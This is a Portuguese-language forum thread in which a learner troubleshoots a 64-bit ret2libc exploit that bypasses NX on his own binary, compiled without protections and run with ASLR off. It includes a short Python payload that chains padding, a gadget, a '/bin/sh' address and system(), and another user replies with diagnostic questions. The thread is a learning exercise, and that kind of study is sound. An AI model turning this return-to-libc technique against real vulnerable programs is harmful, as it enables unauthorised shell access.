Willm Postado Julho 8, 2019 em 23:39 Compartilhar Postado Julho 8, 2019 em 23:39 Eu tô aqui porque não consegui fazer bypass do NX na arquitetura de 64 bits. Como é mostrado na imagem eu consegui colocar os gadgets , /bin/sh e o endereço da system nas stack, mas o programa fica retornando Segmentation Fault e fica parado na instrução que é mostrada na imagem seguinte. O eu posso fazer? Obs: Eu desabilitei o ASLR e todas as proteções do binário e também consegui fazer o bypass do NX em arquitetura de 32 bits Link para o comentário Compartilhar em outros sites More sharing options...
Willm Postado Julho 9, 2019 em 00:00 Autor Compartilhar Postado Julho 9, 2019 em 00:00 import struct buf = '' buf += 'A' * 88 #junk buf += struct.pack('<Q', 0x0000000000400583) #gadget buf += struct.pack('<Q', 0x7ffff7b97e9a) #bin_sh buf += struct.pack('<Q', 0x7ffff7a33440) #system print buf Exploit usado Link para o comentário Compartilhar em outros sites More sharing options...
masterek Postado Julho 11, 2019 em 13:49 Compartilhar Postado Julho 11, 2019 em 13:49 Opa amigo, tudo bem? Vamos lá aos passos iniciais desta analise. 1 - Como vc compilou esse binário? 2 - Realmente setou o ASLR para 0 ? Rode ldd ./binario e veja se o endereço da libc esta sendo randomizado 3 - O que usou para chegar no endereço da system() ? 4 - Testou fora do GDB? Após validarmos isso, vamos para os próximos passos. Abraços Link para o comentário Compartilhar em outros sites More sharing options...
Willm Postado Julho 11, 2019 em 17:01 Autor Compartilhar Postado Julho 11, 2019 em 17:01 3 horas atrás, masterek disse: Opa amigo, tudo bem? Vamos lá aos passos iniciais desta analise. 1 - Como vc compilou esse binário? 2 - Realmente setou o ASLR para 0 ? Rode ldd ./binario e veja se o endereço da libc esta sendo randomizado 3 - O que usou para chegar no endereço da system() ? 4 - Testou fora do GDB? Após validarmos isso, vamos para os próximos passos. Abraços 1 - Compilei assim gcc prog.c -o prog -fno-stack-protector -no-pie -w 2 - O endereço da system não parece ser randômico, porque o gdb sempre identifica o endereço quando é reiniciado. E o comando que eu uso para desabilitar o ASLR é esse aí: 3 - Eu dei um break na main e rodei o binário para a libc ser carregada nele e depois executei o comando "p system" e achei o endereço da função system 4 - Sim, deu Segmentation Fault Link para o comentário Compartilhar em outros sites More sharing options...
Willm Postado Julho 12, 2019 em 09:18 Autor Compartilhar Postado Julho 12, 2019 em 09:18 Lembrando que eu estou na versão mais recente do ubuntu e do gcc, poderia ser isso? Link para o comentário Compartilhar em outros sites More sharing options...
masterek Postado Julho 30, 2019 em 13:11 Compartilhar Postado Julho 30, 2019 em 13:11 Acho que não. Teria que rodar. Pode me procurar no discord do mente binária? Ou no Telegram @m4st3r3k Link para o comentário Compartilhar em outros sites More sharing options...
Posts Recomendados
Arquivado
Este tópico foi arquivado e está fechado para novas respostas.